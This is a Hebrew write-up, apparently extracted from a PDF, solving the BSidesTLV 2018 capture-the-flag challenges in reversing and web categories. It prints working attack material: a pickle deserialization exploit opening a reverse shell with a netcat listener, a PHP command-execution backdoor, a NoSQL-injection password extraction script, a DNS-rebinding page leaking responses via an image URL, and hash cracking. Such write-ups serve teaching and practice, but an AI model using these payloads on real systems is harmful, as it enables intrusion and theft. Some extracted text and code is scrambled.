פתרון אתגרי ה- CTF של BSidesTLV 2018 מאת דן אלעזרי )dm0n( ורגב זפרני )revirtux( הקדמה במהלך חודש יוני התקיימה תחרות ה- CTF של כנס.BSidesTLV בתחרות פור

גודל: px
התחל להופיע מהדף:

Download "פתרון אתגרי ה- CTF של BSidesTLV 2018 מאת דן אלעזרי )dm0n( ורגב זפרני )revirtux( הקדמה במהלך חודש יוני התקיימה תחרות ה- CTF של כנס.BSidesTLV בתחרות פור"

תמליל

1 פתרון אתגרי ה- CTF של BSidesTLV 2018 מאת דן אלעזרי )dm0n( ורגב זפרני )revirtux( הקדמה במהלך חודש יוני התקיימה תחרות ה- CTF של כנס.BSidesTLV בתחרות פורסמו 19 אתגרים בקטגוריות ורמות קושי שונות. המטרה של כל אתגר היא להשיג את ה- flag - הוכחה לכך שאכן פתרתם את האתגר. במאמר זה נסקור את האתגרים שפורסמו ונציג את הפתרונות שלנו לאתגרים אלו. אגב, למי שרוצה לנסות לפתור לבד / במקביל למאמר - פורסמו האתגרים לקבל הרחב: אינדקס Category Misc Misc Misc Forensics Web Web Web Web Web Web Challenge name DockingStation C1337Shell PySandbox-Insane Shared Directory Redirect Me IH8emacs Creative Agency I'm Pickle Rick! ContactUs NoSocket האתגרים באתר התחרות חולקו לקטגוריות ולכל אתגר ניתן ניקוד: Score Category Challenge name Score 350 Reversing Into the rabbit hole Reversing HideinpILainsight Reversing Wtflol Crypto T.A.R.D.I.S Crypto Crypto Web IAmBrute Web PimpMyRide Web Can you bypass the SOP? Web GamingStore

2 Into The Rabbit Hole (Reversing) Description: This challenge aims to test your skills in reverse engineering. The flag is combined with 8 pieces, which together assemble a meaningful passphrase. Download this standalone (executable) file, and try to catch (build) the flag! Made By Adir Abraham הכלי בו נשתמש ltrace הוא כלי המדפיס קריאות לפונקציות ספריה ואת הפרמטרים שלהן. לדוגמא, אם קטע קוד כלשהו בקובץ הרצה קורא לפונקציה strcmp המשווה בין שתי מחרוזות, אנו נראה את שתי המחרוזות שהושוו ואת תוצאת ההשוואה. פתרון כותב האתגר לא חשב על דרך הפתרון הזו. לכן, כאשר נריץ את הקובץ שניתן לנו עם,ltrace נראה שהוא משתמש בפונקציה strncpy על מנת להעתיק 8 מחרוזות קבועות למקום כלשהו בזיכרון: למען מניעת בלבול - הפקודה בתמונה מעבירה לתכנית 8 שורות ריקות שהיינו צריכים לגלות(. לאחר מכן אנו מסננים את הפלט של ltrace כך strncpy שארוכות מ- 66 תווים )אחרת הפלט היה פחות יפה(. כקלט שיציג )לכאורה 8 המחרוזות רק שורות עם המילה קיבלנו 8 מחרוזות - base64 לאחר שרשור ופיענוח, נקבל את ה- flag : BSidesTLV{We_gonna_run_run_run_to_the_cities_of_the_future,_take_what_we_can_an d_bring_it_back_home._so_take_me_down_to_the_cities_of_the_future,_everybody's_ happy_and_i_feel_at_home.} 2

3 HideinpILainsight (Reversing) Description: Is it possible to hide an encryption algorithm in.net? Or should one resort to unmanaged code only? In this challenge, you will learn.net reversing and handle some nasty IL bytecode in order to get the flag. Are you up to the challenge? Made by Omer Agmon הכלי בו נשתמש dnspy הוא כלי המקבל קובץ.NET מקומפל ומציג אותו כמעט כמו קוד המקור שלו. בנוסף, הכלי מאפשר לדבג ולשנות את הקוד. הסיבה שניתן לעשות זאת, היא שקוד.NET מקומפל לשפת,CIL שהיא שפת ביניים בין שפת.NET לשפת מכונה. לאחר מכן, בזמן ריצת התוכנית, שפת ה- CIL מתורגמת לשפת מכונה ואז מורצת. פתרון לאחר פתיחת הקובץ שקיבלנו עם,dnSpy יוצג לנו קוד יחסית פשוט להבנה: לאחר מכן מוגדר עוד משתנה,byte[] array ולבסוף הקוד הוא: 3

4 מקריאת הקוד, ניתן להבין שתחילה, הקוד בודק אם מדבגים אותו. אם כן, התכנית יוצאת לאחר הדפסה של מחרוזת )שורות 5-10(. לאחר מכן, הוא מגריל מספר בין 0 ל- 312 עם seed כלשהו hash( של אובייקט.)Guid אם המספר שהוגרל קטן מ- 312, התוכנית יוצאת. כמובן שלא ניתן לעבור את בדיקה זו בריצה רגילה של התכנית, מכיוון שכל המספרים המוגרלים יהיו קטנים מ- 312 )שורות 11-14(. ואז, מוגדר מערך בתים לו קראתי il ומערך בתים נוסף בשם array שלא מופיע בתמונות )שורות (. כעת קורה החלק המעניין יותר - הוא מחלץ את ה- CIL של התכנית הנוכחית לתוך ilasbytearray )שורה 179( ומגדיר את המערך il בתור פונקציה - ז"א הערכים במערך il הם CIL שניתן להריץ. נבחין ששני הפרמטרים של הפונקציה מוגדרים להיות מערכים מטיפוס byte )שורות (. לבסוף, הוא קורא לפונקציה עם array וilasByteArray כארגומנטים ומדפיס את תוצאת הריצה שלה )שורות (. נרצה להבין מה הקוד במערך il עושה. על מנת לעשות זאת, נרצה להחליף את הקוד של התכנית המקורית בקוד מהמערך.il תחילה, נגלה היכן מתחיל ה- CIL של התכנית המקורית. על מנת לעשות זאת, ניתן ללחוץ Ctrl-X המבצע את פעולת ה-" Editor :"Show Instructions In Hex על מנת לגלות היכן מתחילות ההוראות, נעביר את העכבר על ה- hexeditor שנפתח: 4

5 זאת אומרת שההוראות מתחילות בהיסט 0x254 בקובץ. נוכל לוודא זאת. הבית הראשון הוא 0x28. אם נסתכל בדף ויקיפדיה המתאר את כל הוראות ה- CIL, נראה: 0x28 call <method> Call method described by method. וזה מתאים ל- CIL של הקוד שלנו שמתחיל ב- call על Instruction" :)"Edit Il )ניתן לראות אותו על ידי קליק ימיני ולאחר מכן לחיצה באותו אופן נראה שההוראות מסתיימות בבית נמיר את מערך המספרים il לקובץ באמצעות קוד הפייתון הבא:,0x2A ז"א גודל ההוראות הוא 0x1BD בתים. il=[32,70,76,69,127,10,22,11,22,12,32,0,62,0,2,13,32,0,0,0,1,19,4,32,0,6 4,4,0,19,5,22,19,6,32,0,1,1,2,19,7,22,19,8,43,49,17,8,31,11,48,15,3,17,8,3,142,105,93,145,3,142,105,88,210,43,8,3,17,8,3,142,105,93,145,19,9,2,1 7,8,2,17,8,145,17,9,97,210,156,17,8,23,88,19,8,17,8,2,142,105,50,200,6,7,54,18,9,8,54,14,17,4,17,5,54,8,17,7,17,6,54,2,20,122,2,42] il=''.join([chr(c) for c in il]) open('wub','wb').write(il) כעת יש לנו את הקובץ 125 שמכיל wub בתים, בהם נרצה להשתמש כדי להחליף את ההוראות המקוריות של התוכנית. על מנת לעשות זאת, נפתח את wub עם,hexeditor נעתיק את כל הבתים על ידי סימון ו- Ctrl-C, נפתח עותק של הקובץ שקיבלנו, נעבור להיסט בו ההוראות מתחילות )0x254(, ונדביק עם.Ctrl-V כעת, כאשר ננסה לפתוח את הקובץ עם ההוראות החדשות באמצעות,dnSpy נקבל הודעת שגיאה: מספר הארגומנטים ש- dnspy מצפה לו אינו נכון. זה הגיוני, מכיוון שדרסנו את ההוראות של Main המקבלת מערך מחרוזות בודד בשם args עם פונקציה המקבלת שני ארגומנטים מטיפוס.byte[] 5

6 על מנת לתקן זאת, נלחץ על Main ואז.Alt-Enter יפתח חלון המאפשר לנו לערוך את הפונקציה. נלחץ על Signature על מנת לערוך את החתימה של הפונקציה: נתאים את הפרמטרים לפי מה שגילינו מהקוד המקורי - הפונקציה צריכה לקבל שני ארגומנטים מטיפוס,byte[] ולהחזיר משתנה מאותו טיפוס: 6

7 כעת התוכנה תצליח לשחזר לנו את הקוד: הקוד משתמש ב- CIL של התכנית המקורית על מנת לפענח את המערך.array נכתוב תכנית שקולה משלנו המקבלת את הפרמטרים הנכונים array( ו- ilasbytearray (. את array ניתן לחלץ בקלות מהקוד של התכנית המקורית, ואת ilasbytearray ניתן לחלץ באמצעות קוד פיתון המחלץ את הבתים הרלוונטיים בקובץ(, ומדפיס אותם בצורה של מערך בתים ב-# C. בתים החל מהיסט 0x254 0x1BD( כמובן שנמחק את כל הבדיקות והמשתנים המיותרים. התכנית השקולה תיראה כך: אחר קימפול והרצה, נקבל את ה- flag : 7

8 Wtflol (Reversing) Description: Can you get the flag? Made by Kasif Dekel הכלים בהם נשתמש נשתמש ב- IDA כדי לבצע ניתוח סטטי של הקובץ שקיבלנו, וב- WinDBG+VirtualBox בשביל הניתוח הדינאמי. הסבר טוב על דרייברים ב- Windows ודיבוג שלהם אפשר למצוא במאמר של יובל עטיה ופה. פתרון באמצעות ניתוח סטאטי, דרך הפעולה של התכנית די מובנת - זהו Driver למערכת ההפעלה Windows )מכיוון שפונקציית ה- DriverEntry קיימת בקובץ והוא מסוג.)PE פונקציית ה- DriverEntry דורסת את פונקציית ה- handler IO-ctl של \\Driver\\Null עם פונקציה מתוך הדרייבר לה קראתי,"check_something_then_print_flag" מכיוון שהיא בודקת משהו לגבי ה- buffer שניתן לה ואם עוברים את הבדיקה, אז מקבלים את ה- flag : התכנית מכילה הרבה מחרוזות שהן הזו:,obfuscated משמע, הן מפוענחות בזמן הריצה עם קוד מהצורה 8

9 כמובן שאם אנו יודעים מה נמצא ב- buffer לפני הפיענוח, ניתן לכתוב קוד c המפענח את ה- buffer. גם הכיוון ההפוך אפשרי - אם אנו יודעים מה נמצא ב- buffer אחרי הפיענוח, אפשר להשתמש ב- bruteforce בית-בית על מנת לגלות את ערך ה- buffer לפני הפיענוח. לאחר שביצעתי את הפעולה הזאת על רוב ה- buffers, גיליתי שתי מחרוזות מעניינות:!C:\Windows\Temp\kd.dll.bbbb %p ;g as /e fuckthat PROCESSOR_ARCHITECTURE;.block {.if($spat(@"${fuckthat}","x86")==0) {.writemem C:\Windows\Temp\kd.dll %p l?%x;!c:\windows\temp\kd.dll.aaaa %p;g}.else {.writemem C:\Windows\Te mp\kd.dll %p l?%x;!c:\windows\temp\kd.dll.aaaa %p;g}} השימוש במחרוזת הראשונה )בתוך )Arr1 מתבצע בפונקציה לה קראתי :"save_kddll_then_return_print" ניתן לגלות את העובדה שמשתמשים ב- sscanf מהתבוננות בפרמטרים לפונקציה, או מניתוח דינאמי )על ידי נקודת עצירה לאחר שהוחזרה הפונקציה בשורה 61, והדפסת הפונקציה ב- WinDBG (. בנוסף, שימו לב שיש שני אזורים בזיכרון להם קראתי xored_arr_1/2 המפוענחים באמצעות המפתח הקבוע xor_key הנמצא על המחסנית. אם נפענח אותם, נקבל שני קבצי dll המשמשים בתור הרחבה ל-.WinDBG אחד מהם עבור ארכיטקטורת x64 והשני עבור x86. בנוסף, יש בשניהם שתי פונקציות מעניינות - aaaa ו- bbbb. בקרוב נבין כיצד קבצים אלו קשורים לאתגר. 9

10 השימוש במחרוזת השנייה )בתוך )Arr3 מתבצע בפונקציה לה קראתי :"check_something_then_print_flag" ואיך ידעתי שזו הפונקציה שאמורה להדפיס את ה- flag? מכיוון שכך נראית הפונקציה לה קראתי,"decode_flag_and_format_then_print" העושה בדיוק את מה שהשם שלה אומר - דברים, שאחד מהם הוא format-string המכיל את המחרוזת "s% :"Your Flag is: מפענחת שני בחזרה למחרוזות המעניינות - הן נראות כמו קוד של.WinDBG 01

11 אם תחזרו למקום בו משתמשים במחרוזת המעניינת הראשונה,,save_kddll_then_return_print תראו פונקציה לה קראתי :run_in_debugger מה הכוונה? הפונקציה גורמת ל- WinDBG להריץ את המחרוזת מהארגומנט השני. וכאן נכנס ה- Wtflol - כותב האתגר הצליח, בדרך כלשהי, להריץ קוד מהמכונה הווירטואלית על ה- hypervisor )המכונה שלנו(! אם נתעמק עוד ב- run_in_debugger נראה: וב- debugbreak _: להסבר איך זה קרה, ניתן לעבור על ההסברים פה ופה )תודה.)!nmontag אז - ממעבר על המחרוזת: as /e fuckthat PROCESSOR_ARCHITECTURE;.block {.if($spat(@"${fuckthat}","x86")==0) {.writemem C:\Windows\Temp\kd.dll %p l?%x;!c:\windows\temp\kd.dll.aaaa %p;g}.else {.writemem C:\Windows\Te mp\kd.dll %p l?%x;!c:\windows\temp\kd.dll.aaaa %p;g}} ניתן לראות שהקוד בודק את ארכיטקטורת המעבד, ושומר קובץ בשם kd.dll בהתאם. הקובץ שהוא שומר הוא xored_arr_1 או 2 ממקודם )לאחר פיענוח(, כתלות בארכיטקטורת המעבד. לאחר שהקובץ נשמר, הוא מריץ את הפונקציה aaaa עם פרמטר נוסף שהוא הכתובת של used_in_memcmp בו משתמשים בפונקציה!check_something_then_print_flag 00

12 מכאן נוכל להסיק שהפונקציה aaaa משנה את הערך של used_in_memcmp בזיכרון היינו מנסים "לפענח אחורה" את secret_param באמצעות bruteforce בית-בית כפי נקבל ג'יבריש ולא את הערך האמיתי. הקרנל, לכן אם שהצעתי קודם, של הכתובת עם aaaa את נריץ אם אז,used_in_memcmp הערכים את נחלץ ואז בכתובת used_in_memcmp נקבל שהוא אכן השתנה! כעת, נוכל לשחזר את secret_param הנכון, ולהריץ את הפונקציה bbbb עם מkd.dll כתובת בה נמצא הsecret_param ששיחזרנו )אפשר לתת לו כל כתובת, לאחר שכתבנו בה את הבתים המתאימים(. לאחר שנעשה זאת, תודפס לנו המחרוזת: Please continue from here, the pointer to your flag is 00007ffc3de56010, remember to look at the bigger picture :) אחרי ריברס של הפונקציה bbbb מ- kd.dll נגלה שהיא זו האחראית על הדפסת המחרוזת הזו ושהכתובת 00007ffc3de56010 נמצאת בתוך kd.dll בזיכרון של WinDBG במכונה שלנו. נעשה dump לזיכרון של,WinDBG ונפתח עוד WinDBG כדי לדבג את ה- dump ולחלץ את הבתים בכתובת הזו.)WinDBGception( לאחר שנעשה זאת, נקבל קובץ elf חמוד - כשמריצים אותו מודפס חתול: אם נפתח את הקובץ עם IDA נגלה הרבה שורות עם הוראה מוזרה: לאחר גיגול של xmm1","vfmaddsub132ps xmm0, נגיע תמונות בתוך גרף basic-blocks של!IDA למצגת המסבירה על כלי המשמש להסתרת 02

13 ננסה לפתוח את הגרף אחרי שתיקנו את העובדה ש- IDA לא מאפשר להציג יותר מ ריבועים בגרף, ונקבל את ה- flag : 03

14 RedirectMe (Web) Description: Made by Tomer Zait and Nimrod Levy הכלי בו נשתמש Burp הוא פרוקסי המאפשר לעקוב אחרי בקשות HTTP ותגובה עליהן. בנוסף, הוא מאפשר לחזור על בקשות HTTP שראינו ולערוך אותן באמצעות מודול הנקרא.Repeater פתרון נשתמש ב- Burp על מנת לראות מה קורה כשנכנסים לאתר: אנו מקבלים הרבה redirects עם מספרים בסדר עולה, עד 18, לאחר מכן ה- redirects נפסקים וחוזרים ל- 1. נתבונן בתגובה לבקשה של הדף 18.html ונראה שהדפדפן נותן לנו עוגיה ועושה redirect ל- 19.html : 04

15 - נחליף את session נתקן את הבקשה באמצעות repeater העוגייה עם שניתנה לנו, ואת לדף הבקשה :19.html כעת, נקבל redirect ל- 20.html : נתקן את העוגייה בדפדפן, ונבקש את.20.html לאחר עוד כמה redirects נראה בדפדפן: ואכן, לאחר שבודקים את התשובה מהשרת ב- Burp : 05

16 IH8emacs (Web) Description: What sucks so much is that i can never find the backup i am looking for Made by Nimrod Levy and Tomer Zait פתרון מתיאור האתגר ניתן להסיק כי אנו מחפשים קובץ גיבוי שנוצר על ידי התוכנה.emacs לאחר חיפוש קצר בגוגל גילינו ש- emacs יוצר קבצי גיבוי בעלי השם של הקובץ המקורי עם סיומת תילדה )~(. אחרי סיור ראשוני באתר, מצאנו בקוד מקור את ההערה: ג'ון: <!-- <a href="./administration">login to administration page</a> --> שמצביעה על דף ניהול - נשמע מעניין! לאחר הכניסה ללינק המתואר קופץ מולנו טופס אימות הרשאות של,HTTP אשר קובץ הסיסמאות שלו מאוחסן ב-" administration/.htpasswd /" כראוי לטפסים מסוג זה. אך לצערנו הקובץ "חסום" ע"י הרשאות של השרת ואין לנו גישה אליו. נבדוק האם לקובץ הזה קיים גיבוי של.emacs נוסיף ~ ובינגו! bsidestlv:$apr1$1nku7tz4$2bealgtlz/0skdde2enw00 קיבלנו את הקובץ המכיל שם משתמש וסיסמה מגובבת.)hash( על מנת לגלות את הסיסמה המקורית נשתמש בכלי שפורץ גיבובים מסוג זה - ripper.john the נניח את הסיסמה בקובץ pass_hash ונריץ את נכנס עם השם משתמש מהקובץ והסיסמה ששיחזרנו ונקבל את ה- flag : BSidesTLV{D0ntF0rg3tB4ckupF1l3s} 06

17 Creative Agency (Web) Description: Beautiful mirror, mirror on the wall, who's the prettiest of them all? The flag is in: /home/bsidestlv/flag.txt Made by Tomer Zait and Nimrod Levy פתרון לאחר מבט בקוד המקור של האתר זיהינו שכל התמונות באתר נשלפות על ידי שימוש בסקריפט PHP הנמצא בצד שרת בצורה הבאה: /img?file=ƃdɾ 1ʞɹoʍ/ƃɯı/.flag.txt נרצה לשלוף באותה הדרך את הקובץ לאחר מעבר על כל אתרי הפיכת הטקסט מצאנו אתר שתומך בפורמט. /img?file=ʇxʇ ƃɐʃɟ/ʌʃʇsǝpısq/ǝɯoɥ/ האתר מתריע: Error: ENOENT: no such file or directory, stat '/app/home/bsidestlv/flag.txt' /img?file=ʇxʇ ƃɐʃɟ/ʌʃʇsǝpısq/ǝɯoɥ/ נלך תיקיה אחת אחורה עם ".." ונקבל את הדגל: BSidesTLV{I_Like_FlipFlops_And_I_Cannot_Lie} 07

18 I m Pickle Rick! (Web) Description: Rick leaves a secret backdoor in order to control all the people staying at Anatomy park. Do you think you can discover and exploit it in order to read the flag? Made by Nimrod Levy and Tomer Zait פתרון מהתיאור אנו מסיקים מראש כי ככל הנראה באתגר נשתמש בספריה pickle מפייתון. Pickle היא ספריה בפייתון אשר מטרתה לבצע סריאליזציה של מידע ומחלקות בפייתון. עם השנים התגלה כי ניתן להריץ קוד על הצד העושה דסריאליזציה למידע בפייתון - במקרה שלנו זה השרת. לאחר סקירה מהירה של האתר ניתן למצוא קוד ג'אווה סקריפט ששולח ומחזיר מחרוזות לכאורה מוצפנות אשר נוצרות ע"י ידי קוד PHP בכתובות: היוצר מחרוזת "מוצפנת", והכתובת: /getmembers.html?visitor=<input> /statusmembers.html?data=<the_string> המתרגמת את המחרוזת חזרה לטקסט. לאחר מחקר על מחרוזת לדוגמה מצאנו כי היא עוברת תהליך של סריאליזציה ע"י pickle כיווץ ע"י zlib ולבסוף תרגום ל- base64 על מנת להעביר את המידע בצורה טקסטואלית בצד השני ללא איבוד מידע. כפי שהצגנו בהתחלה, כל מה שנשאר לעשות הוא להשמיש את אחת הפרצות המוכרות להזרקת קוד ע"י pickle וסיימנו - ניתן להריץ קוד בשרת: import os import zlib import pickle import base64 import subprocess class Exploit(object): def reduce (self): return (subprocess.popen, ( ("""python -c 'import socket,subprocess,os; s=socket.socket(socket.af_inet,socket.sock_stream); s.connect(("xxx.xxx.xxx.xxx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","- i"]);' &"""),0, None, None, None, None, None, False, True,)) נריץ את הקוד עם ה- IP shellcode = pickle.dumps(exploit()) print(base64.b64encode(zlib.compress(shellcode))) והפורט שלנו, נפתח netcat שיאזין ע"י הפקודה: nc -l -p XXXX נשלח לאתר ובינגו, יש לנו,reverse shell מפה רק נותר להגיע לתיקיית ה- root ולעשות cat ל- flag.txt : BSidesTLV{IC0ntr0ll3dP1ckl3R1ck!} 08

19 ContactUs (Web) Description: Mailing libraries are dangerous if they are not written with secure methodologies Do you think you can get a shell and read the flag? Made by Nimrod Levy and Tomer Zait פתרון לאחר מעבר על האתר נראה אזור :Contact Us מהרמז בתיאור האתגר, נחפש php mail exploit ונגיע לדף הבא: ננסה להשתמש בקלט דומה, כשה- msg_body הוא php backdoor פשוט: <?php echo "<pre>"; system($_request['cmd']); echo "</pre>"; die;?> 09

20 אבל נקבל מבדיקות בצד לקוח שמה שהכנסנו הוא לא פורמט חוקי לאימייל. כמובן שבדיקות בצד לקוח לא משנות. נשנה את הטיפוס של השדה מ- ל- text : ונשלח את הבקשה. נקבל למטה את התגובה: נשנה את שם הקובץ כפי שדרשו מאתנו, נשלח שוב את התגובה, נגלוש ל: ונקבל את ה- flag : BSidesTLV{K33pY0urM4il3rFullyP4tch3D!} 21

21 NoSocket (Web) Description: The flag is the password for "admin" user do you think you can get it? :) Made by Nimrod Levy פתרון כאשר נכנס לאתר נראה טופס התחברות: במעבר על קוד המקור, נראה שבלחיצה על,login מתבצעת הפונקציה הבאה: var ws; var url = 'ws://' + location.hostname + ':8000/login'; function opensocket() { ws = new WebSocket(url); ws.binarytype = 'arraybuffer'; // default is 'blob' ws.onopen = function() { console.log('open'); }; ws.onclose = function() { console.log('close'); }; ws.onmessage = function(e) { if (e.data instanceof ArrayBuffer) { log(decodecharcode(new Uint8Array(e.data))); } else { log(e.data); } }; ws.onerror = function() { log('error'); closesocket(); 20

22 } }; function closesocket() { log('closing'); ws.close(); } function login() { var data = {}; // <- initialize an object, not an array data["username"] = document.getelementbyid('username').value; data["password"] = document.getelementbyid('password').value; val = JSON.stringify(data); // {"username":"admin", "password": "admin"} // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"} ws.send(val); } function decodecharcode(data) { var res = ''; for (var i = 0, len = data.length; i < len; i++) { var value = data[i]; res += String.fromCharCode(value); } } return res; function log(message) { alert(message) } opensocket() הפונקציה פותחת WebSocket ההתחברות בפורמט.json ב- ws://two.challenges.bsidestlv.com:8000/login ושולחת את פרטי אנו מקבלים גם בהערה את חלק מהשאילתה שמתבצעת בצד השרת: {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"} קוד זה חשוף למתקפה הדומה ל- SQL-Injection הנקראת.NoSQL-Injection נכתוב קוד פייתון המחלץ את הסיסמה באמצעות התשובה של השרת - אם לא מוחזר,"Failed" ההתחברות תצליח, אחרת היא תיכשל. 22

23 import websocket import string נשתמש בעובדה זו על מנת לחלץ תו-תו מהסיסמה: ws = websocket.websocket(subprotocols=["binary"]) ws.connect("ws://two.challenges.bsidestlv.com:8000/login") problem = ['\'','"','\\','(',')','*','+',' ','\t'] password = "" while True: print("password: {}".format(password)) for c in map(chr,range(0x21,0x7f)): if c in problem: continue data = ("""{"username": "admin", "password": "'; return this.password <= '"""+password+c+"\"}") print(data) ws.send(data) resp = ws.recv().decode() if("failed" not in resp): print(resp) password+=chr(ord(c)-1) break if password[-1] == "}": break print("password: {}".format(password)) BSidesTLV{0r0n3Equ4l0n3!} לאחר הרצה קצרה של הסקריפט, נקבל את ה- flag : 23

24 IAmBrute (Web) Description: I just forgot my wallet password... can you remind me? By the way, our IT manager stores sensitive information... can you get the flag from his account? Made by Nimrod Levy and Tomer Zait פתרון לאחר הסתכלות ראשונית על הקבצים אנחנו מזהים סיומת חוזרת של קבצי."opvault" בדיקה מהירה בגוגל מראה לנו כי מדובר בקבצים של התוכנה.Password1 ע"י טעינה של הקבצים באמצעות התוכנה נתבקש להזדהות בסיסמה הראשית של המאגר. שתי דרכים אפשריות לפתרון האתגר הן:.1.2 נתמקד להתבסס על כך שיוצר הסיסמה לא יצירתי - הסיסמה היא שם הקובץ, Marina לפרוץ את הסיסמה ע"י חילוץ הפרמטרים )hash:salt:iterations:data( בשיטה השנייה והמעניינת יותר: ארבעת של שליפה הפרמטרים המעניינים מתוך.profile.js כמו באתגר IH8emacs נשתמש בפיצ'ר של ג'ון כדי לייצר האש מתאים ונזרוק אותו לקובץ: הקובץ מפה נריץ את ג'ון עם המילון rockyou ונקבל את הסיסמה.Marina נדליק מכונת ווינדוס על מנת להפעיל את.password1 נייבא את הקבצים ונכניס את הסיסמה הראשית שלנו: בינגו! יש לנו שם משתמש, סיסמה, ואת היעד הבא שלנו: 24

25 נכנס לאתר ונתחבר עם הפרטים: קופצת לנו הערה האומרת שיש גישה לאתר רק מתוך כתובות IP פנימיות: על מנת לעקוף את החסימה, נוסיף לבקשת ה- HTTP ה- Header נוסף:."x-forwarded-for" Header זה מתריע לשרת מאיזה אייפי יצאה הבקשה המקורית אם אנחנו משתמשים בפרוקסי. במילים אחרות, ע"י הוספת ההאדר :x-forwarded-for נגרום לשרת להאמין כי הבקשה הגיעה מה- IP המתואר ולא מאיתנו. נכנס לאתר ונתחיל לחפש מידע על עובד ה- IT אשר מחביא את הדגל: 25

26 הדברים שמצאנו הם שמו הפרטי,,George אשר משמש גם כשם המשתמש לאתר בדומה למרינה, חשבון פייסבוק עם שנת לידה וסדרת טלוויזיה שהוא אוהב במיוחד - friends )ומי לא אוהב, בינינו?(. 26

27 ננסה להשיג את הסיסמה שלו באמצעות הדף של "שכחתי סיסמה": חסר לנו תאריך הלידה של ג'ורג' אבל אנחנו יודעים את השנה. לכן תוך מקסימום 365 לבצע באמצעות סקריפט פשוט נקבל את תאריך הלידה הנכון, 07/11/1991 ואיתו נסיונות שניתן את הסיסמה: נכנס לחשבון של ג'ורג': BSidesTLV{Brut3Th3W0rld!} הדגל בידינו! 27

28 PimpMyRide (Web) Description: OMG i have PimpMyRide s client app! I m connecting with: java -jar garage.jar --host one. challenges.bsidestlv.com Please hack their server and read the file /flag.txt. Made by Gal Goldstein פתרון קיבלנו קובץ Jar אשר מתפקד כלקוח המתחבר לשרת מרוחק ומאפשר לנו לטעון מחסן מקובץ, לשמור מחסן, להוסיף מכוניות וכו'. לאחר כל שמירה של מחסן מכוניות נשמר לנו קובץ לוקאלי במחשב. כדי להבין מה קורה מאחורי הקלעים נעשה לו דיקומפילציה באמצעות אחד הכלים האינטרנטיים ונקבל את קוד המקור לאחר סריקה מהירה של הקוד שמנו לב לכמה דברים חשובים: בקוד המקור ישנו גם הקוד של השרת )יאי!( יש קוד שלא נעשה בו שימוש יש אופציה לבחור שהשרת ישלח לוגים למחשב מרוחק )באמצעות )RemoteLogger הטעינה של אובייקט המחסן מהלקוח בצד השרת מתבצע מתוך הקובץ שהלקוח שולח תחילה נבין איך שליחת הלוגים עובדת והאם אפשר לנצל זאת לטובתינו: לפי הקוד במידה ונצליח לשים בפרמטר entry את ה- flag וב- ipaddress את האייפי שלנו, נוכל לנסות ליצור לוגר שישלח את הדגל אלינו. לצורך זאת נגלה היכן נקראת הפונקציה: זה קורה בפונקציה dowork של המחלקה Manager שיורשת מ- Employee. מתחיל להיראות כמו משהו מעניין. 28

29 בינגו, מצאנו דרך להריץ את הפונקציה! מפה רק נשאר לבנות קובץ מחסן שיכיל את האקספלויט. נבנה את היררכית המחלקות שאנחנו צריכים: Garage: Employee->(Manager): closemessagefile logger->(remotelogger): ipaddress port writetolog(entry) -> sending the flag אז איך קורית השליטה ב- entry? ברגע שמתבצע deserialize בשרת, ז"א המחלקה של המחסן נטענת מהקובץ ששלחנו, השדות של המחלקות הם לגמרי בשליטתנו, ביניהם גם.entry נכתוב קוד שיוצר לנו מחסן מתאים ונעלה אותו לשרת! 29

30 הקוד שלנו מתחלק לארבעה חלקים ב- Main : יצירת מחסן והכנסת ארבע מכוניות לתוכו )העבודה מתבצעת רק כשיש 5 מכוניות - היה אפשר פשוט לטעון 5 מכוניות אבל רצינו להיות בטוחים(. הוספת המנהל הזדוני שלנו למחסן )עם ה- RemoteLogger ( שמירת המחסן לקובץ הפעלת תוכנת הלקוח כרגיל יש לנו קובץ מחסן מתאים - נשאר להריץ את הלקוח ולהעלות אותו לשרת! נפתח שיאזין שרת אצלנו, והשרת בנחמדותו יפתח את הקובץ וישלח לנו את ה- flag : BSidesTLV{I_Am_Inspector_Gadget} 31

31 Can you bypass the SOP? (Web) Description: Hi Agent! If you can see this challenge, you were probably chosen by our secret organization in order to catch the Illuminati members. Our intelligence analysts team conducted some research about criminals that operate inside the illuminati team and have the following information: 1. The Illuminati team will NEVER open external files 2. The Illuminati team is arrogant and will never change default passwords By the way, one of our agents has infiltrated to the Illuminati group! as a result, we can produce a possibility that one member of the Illuminati team will open a link that will send from our agent. So according to these facts, your mission is to take over the internal application controlled by Illuminati team to get the flag! The internal application located on: BOT URL: Rules: 1. The bot will stay on your page for 3 minutes. 2. your page must return status code: 200 Yours, N Made by Nimrod Levy DNS פתרון אנו שולטים באתר אליו הבוט מתחבר וידוע לנו שהוא יישאר בו למשך 3 דקות. נשתמש במתקפת Rebinding העובדת כך: 1. המותקף מתחבר לשרת שלנו, לדוגמא לדף. שולח שאילתת DNS לגבי הכתובת example.com ומתרגם אותה לכתובת IP שלנו. השרת ז"א, 2. כעת כשהוא בדף, יופעל סקריפט Javascript הממתין כדקה וחצי, ניגש ל: ושולח את תגובת הבקשה אלינו דרך ה- src של תג.img תוך כדי, אנו מחליפים את example.com כך שבמקום להצביע ל- IP שלנו הוא יצביע ל אנו נקבל את תוכן הדף בשרת השני שלנו דרך ההדלפה מתגית ה- img. הסיבה שזה עבד היא ש- Same Origin Policy מאפשר חילוץ תוכן בקשות בקוד Javascript אם הפרטים הבאים מתאימים:.protocol:domain:port כמובן שהם מתאימים בדוגמה שלנו, למרות שכתובת ה- IP משתנה אחרי דקה וחצי, ה- Domain הוא עדיין.example.com זה ה- POC שהשתמשתי בו, הדף מסביר את המתקפה יותר לעומק. דף ה- html הראשון שהגשתי לבוט הכיל בקשת GET לדף.login בתשובה, קיבלנו שפרטי ההתחברות הם.admin/admin 30

32 הדף השני שהגשתי לבוט הכיל בקשת POST לדף :login <html> <head> <! > </head> <body> <h2>bypass Some Origin Policy clean script</h2> <p>pretty things that makes your victim stays for few minutes...</p> <script src=" </script> <script type="text/javascript"> settimeout(function SOP_bypass() { console.log("send request...") $.post('/login', { username: "admin", password: "admin", submit: "" },function(data) { var image = new Image(); image.src=' }); }, 90000); //1.5min </script> </body> </html> BSidesTLV{C4nY0uR3b1n3dMe?} וכאשר נפענח את ה- base64 שקיבלנו, נקבל את ה- flag כחלק מהתשובה: 32

